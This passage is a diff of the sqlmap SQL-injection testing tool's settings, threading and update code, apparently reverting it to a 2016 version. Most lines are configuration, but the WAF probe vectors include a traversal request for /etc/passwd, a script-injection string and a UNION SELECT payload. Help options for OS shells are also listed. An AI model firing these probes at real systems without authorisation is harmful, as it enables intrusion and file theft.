process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE)
|
||||
stdout, _ = process.communicate()
|
||||
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
|
||||
retVal = match.group(0) if match else None
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
Executable → Regular
+79
-83
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -17,9 +17,11 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
from lib.core.enums import OS
|
||||
from lib.core.revision import getRevisionNumber
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.1.4.0"
|
||||
VERSION = "1.0.10.0"
|
||||
REVISION = getRevisionNumber()
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -43,10 +45,10 @@ BANNER = """\033[01;33m\
|
||||
DIFF_TOLERANCE = 0.05
|
||||
CONSTANT_RATIO = 0.9
|
||||
|
||||
# Ratio used in heuristic check for WAF/IPS/IDS protected targets
|
||||
# Ratio used in heuristic check for WAF/IDS/IPS protected targets
|
||||
IDS_WAF_CHECK_RATIO = 0.5
|
||||
|
||||
# Timeout used in heuristic check for WAF/IPS/IDS protected targets
|
||||
# Timeout used in heuristic check for WAF/IDS/IPS protected targets
|
||||
IDS_WAF_CHECK_TIMEOUT = 10
|
||||
|
||||
# Lower and upper values for match ratio in case of stable page
|
||||
@@ -84,9 +86,6 @@ PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
|
||||
# Regular expression used for recognition of generic maximum connection messages
|
||||
MAX_CONNECTIONS_REGEX = r"max.+connections"
|
||||
|
||||
# Maximum consecutive connection errors before asking the user if he wants to continue
|
||||
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
||||
|
||||
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
|
||||
PRECONNECT_CANDIDATE_TIMEOUT = 10
|
||||
|
||||
@@ -103,13 +102,13 @@ DUCKDUCKGO_REGEX = r'"u":"([^"]+)'
|
||||
DISCONNECT_SEARCH_REGEX = r'<p class="url wrapword">([^<]+)</p>'
|
||||
|
||||
# Dummy user agent for search (if default one returns different results)
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
|
||||
|
||||
# Regular expression used for extracting content from "textual" tags
|
||||
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
|
||||
|
||||
# Regular expression used for recognition of IP addresses
|
||||
IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
|
||||
IP_ADDRESS_REGEX = r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"
|
||||
|
||||
# Regular expression used for recognition of generic "your ip has been blocked" messages
|
||||
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)"
|
||||
@@ -208,20 +207,27 @@ PYVERSION = sys.version.split()[0]
|
||||
|
||||
# DBMS system databases
|
||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
|
||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
|
||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
||||
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/
|
||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast")
|
||||
ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB") # These are TABLESPACE_NAME
|
||||
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
||||
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
|
||||
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
||||
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
|
||||
"MSysAccessXML", "MSysModules", "MSysModules2")
|
||||
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
|
||||
"RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\
|
||||
"RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\
|
||||
"RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\
|
||||
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
|
||||
"RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
||||
MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\
|
||||
"SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
||||
MYSQL_ALIASES = ("mysql", "my")
|
||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
|
||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||
@@ -251,39 +257,39 @@ WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "C
|
||||
|
||||
# Items displayed in basic help (-h) output
|
||||
BASIC_HELP_ITEMS = (
|
||||
"url",
|
||||
"googleDork",
|
||||
"data",
|
||||
"cookie",
|
||||
"randomAgent",
|
||||
"proxy",
|
||||
"testParameter",
|
||||
"dbms",
|
||||
"level",
|
||||
"risk",
|
||||
"tech",
|
||||
"getAll",
|
||||
"getBanner",
|
||||
"getCurrentUser",
|
||||
"getCurrentDb",
|
||||
"getPasswordHashes",
|
||||
"getTables",
|
||||
"getColumns",
|
||||
"getSchema",
|
||||
"dumpTable",
|
||||
"dumpAll",
|
||||
"db",
|
||||
"tbl",
|
||||
"col",
|
||||
"osShell",
|
||||
"osPwn",
|
||||
"batch",
|
||||
"checkTor",
|
||||
"flushSession",
|
||||
"tor",
|
||||
"sqlmapShell",
|
||||
"wizard",
|
||||
)
|
||||
"url",
|
||||
"googleDork",
|
||||
"data",
|
||||
"cookie",
|
||||
"randomAgent",
|
||||
"proxy",
|
||||
"testParameter",
|
||||
"dbms",
|
||||
"level",
|
||||
"risk",
|
||||
"tech",
|
||||
"getAll",
|
||||
"getBanner",
|
||||
"getCurrentUser",
|
||||
"getCurrentDb",
|
||||
"getPasswordHashes",
|
||||
"getTables",
|
||||
"getColumns",
|
||||
"getSchema",
|
||||
"dumpTable",
|
||||
"dumpAll",
|
||||
"db",
|
||||
"tbl",
|
||||
"col",
|
||||
"osShell",
|
||||
"osPwn",
|
||||
"batch",
|
||||
"checkTor",
|
||||
"flushSession",
|
||||
"tor",
|
||||
"sqlmapShell",
|
||||
"wizard",
|
||||
)
|
||||
|
||||
# String representation for NULL value
|
||||
NULL = "NULL"
|
||||
@@ -299,14 +305,13 @@ FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P
|
||||
|
||||
# Regular expressions used for parsing error messages (--parse-errors)
|
||||
ERROR_PARSING_REGEXES = (
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
|
||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
|
||||
)
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
|
||||
)
|
||||
|
||||
# Regular expression used for parsing charset info from meta html headers
|
||||
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
|
||||
@@ -344,9 +349,6 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
|
||||
# Regex used for masking sensitive data
|
||||
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
|
||||
|
||||
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
|
||||
SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
|
||||
|
||||
# Maximum number of threads (avoiding connection issues and/or DoS)
|
||||
MAX_NUMBER_OF_THREADS = 10
|
||||
|
||||
@@ -359,9 +361,6 @@ MIN_RATIO = 0.0
|
||||
# Maximum value for comparison ratio
|
||||
MAX_RATIO = 1.0
|
||||
|
||||
# Minimum length of sentence for automatic choosing of --string (in case of high matching ratio)
|
||||
CANDIDATE_SENTENCE_MIN_LENGTH = 10
|
||||
|
||||
# Character used for marking injectable position inside provided data
|
||||
CUSTOM_INJECTION_MARK_CHAR = '*'
|
||||
|
||||
@@ -375,7 +374,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
|
||||
MAX_ERROR_CHUNK_LENGTH = 1024
|
||||
|
||||
# Do not escape the injected statement if it contains any of the following SQL keywords
|
||||
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
|
||||
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "DBINFO(", "'%s'" % CHAR_INFERENCE_MARK)
|
||||
|
||||
# Mark used for replacement of reflected values
|
||||
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
|
||||
@@ -405,10 +404,10 @@ HASH_MOD_ITEM_DISPLAY = 11
|
||||
MAX_INT = sys.maxint
|
||||
|
||||
# Options that need to be restored in multiple targets run mode
|
||||
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
||||
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsName", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
||||
|
||||
# Parameters to be ignored in detection phase (upper case)
|
||||
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
|
||||
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
|
||||
|
||||
# Regular expression used for recognition of ASP.NET control parameters
|
||||
ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
|
||||
@@ -437,10 +436,10 @@ IGNORE_SAVE_OPTIONS = ("saveConfig",)
|
||||
# IP address of the localhost
|
||||
LOCALHOST = "127.0.0.1"
|
||||
|
||||
# Default SOCKS ports used by Tor
|
||||
DEFAULT_TOR_SOCKS_PORTS = (9050, 9150)
|
||||
# Default port used by Tor
|
||||
DEFAULT_TOR_SOCKS_PORT = 9050
|
||||
|
||||
# Default HTTP ports used by Tor
|
||||
# Default ports used in Tor proxy bundles
|
||||
DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
|
||||
|
||||
# Percentage below which comparison engine could have problems
|
||||
@@ -487,14 +486,14 @@ IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")
|
||||
# Data inside shellcodeexec to be filled with random string
|
||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
|
||||
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
|
||||
# Vectors used for provoking specific WAF/IDS/IPS behavior(s)
|
||||
WAF_ATTACK_VECTORS = (
|
||||
"", # NIL
|
||||
"search=<script>alert(1)</script>",
|
||||
"file=../../../../etc/passwd",
|
||||
"q=<invalid>foobar",
|
||||
"id=1 %s" % IDS_WAF_CHECK_PAYLOAD
|
||||
)
|
||||
"", # NIL
|
||||
"search=<script>alert(1)</script>",
|
||||
"file=../../../../etc/passwd",
|
||||
"q=<invalid>foobar",
|
||||
"id=1 %s" % IDS_WAF_CHECK_PAYLOAD
|
||||
)
|
||||
|
||||
# Used for status representation in dictionary attack phase
|
||||
ROTATING_CHARS = ('\\', '|', '|', '/', '-')
|
||||
@@ -531,7 +530,7 @@ UNION_CHAR_REGEX = r"\A\w+\Z"
|
||||
UNENCODED_ORIGINAL_VALUE = "original"
|
||||
|
||||
# Common column names containing usernames (used for hash cracking in some cases)
|
||||
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser")
|
||||
COMMON_USER_COLUMNS = ("user", "username", "user_name", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor")
|
||||
|
||||
# Default delimiter in GET/POST values
|
||||
DEFAULT_GET_POST_DELIMITER = '&'
|
||||
@@ -551,14 +550,11 @@ HASHDB_FLUSH_THRESHOLD = 32
|
||||
# Number of retries for unsuccessful HashDB flush attempts
|
||||
HASHDB_FLUSH_RETRIES = 3
|
||||
|
||||
# Number of retries for unsuccessful HashDB retrieve attempts
|
||||
HASHDB_RETRIEVE_RETRIES = 3
|
||||
|
||||
# Number of retries for unsuccessful HashDB end transaction attempts
|
||||
HASHDB_END_TRANSACTION_RETRIES = 3
|
||||
|
||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
||||
HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
HASHDB_MILESTONE_VALUE = "BkfRWrtCYK" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Warn user of possible delay due to large page dump in full UNION query injections
|
||||
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||
@@ -591,7 +587,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
||||
|
||||
# Regular expression used for recognition of file inclusion errors
|
||||
FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
||||
FI_ERROR_REGEX = "(?i)[^\n]*(no such file|failed (to )?open)[^\n]*"
|
||||
|
||||
# Length of prefix and suffix used in non-SQLI heuristic checks
|
||||
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||
@@ -696,7 +692,7 @@ MAX_HISTORY_LENGTH = 1000
|
||||
MIN_ENCODED_LEN_CHECK = 5
|
||||
|
||||
# Timeout in seconds in which Metasploit remote session has to be initialized
|
||||
METASPLOIT_SESSION_TIMEOUT = 120
|
||||
METASPLOIT_SESSION_TIMEOUT = 300
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
||||
LOBLKSIZE = 2048
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+6
-7
@@ -1,17 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import random
|
||||
import thread
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from thread import error as ThreadError
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -19,7 +20,6 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import MAX_NUMBER_OF_THREADS
|
||||
from lib.core.settings import PYVERSION
|
||||
@@ -46,7 +46,6 @@ class _ThreadData(threading.local):
|
||||
self.lastComparisonPage = None
|
||||
self.lastComparisonHeaders = None
|
||||
self.lastComparisonCode = None
|
||||
self.lastComparisonRatio = None
|
||||
self.lastErrorPage = None
|
||||
self.lastHTTPError = None
|
||||
self.lastRedirectMsg = None
|
||||
@@ -151,7 +150,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
|
||||
try:
|
||||
thread.start()
|
||||
except thread.error, ex:
|
||||
except ThreadError, ex:
|
||||
errMsg = "error occurred while starting new thread ('%s')" % ex.message
|
||||
logger.critical(errMsg)
|
||||
break
|
||||
@@ -167,13 +166,13 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
alive = True
|
||||
time.sleep(0.1)
|
||||
|
||||
except (KeyboardInterrupt, SqlmapUserQuitException), ex:
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
kb.threadContinue = False
|
||||
kb.threadException = True
|
||||
|
||||
if numThreads > 1:
|
||||
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
|
||||
logger.info("waiting for threads to finish (Ctrl+C was pressed)")
|
||||
try:
|
||||
while (threading.activeCount() > 1):
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+10
-6
@@ -1,16 +1,18 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import locale
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import pollProcess
|
||||
@@ -29,7 +31,7 @@ def update():
|
||||
|
||||
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
|
||||
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
||||
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
|
||||
errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
infoMsg = "updating sqlmap to the latest development version from the "
|
||||
@@ -42,7 +44,7 @@ def update():
|
||||
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
|
||||
|
||||
try:
|
||||
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
|
||||
process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
|
||||
pollProcess(process, True)
|
||||
stdout, stderr = process.communicate()
|
||||
success = not process.returncode
|
||||
@@ -51,11 +53,13 @@ def update():
|
||||
stderr = getSafeExString(ex)
|
||||
|
||||
if success:
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber()))
|
||||
import lib.core.settings
|
||||
_ = lib.core.settings.REVISION = getRevisionNumber()
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
|
||||
else:
|
||||
if "Not a git repository" in stderr:
|
||||
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
||||
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
|
||||
errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+13
-30
@@ -1,7 +1,7 @@
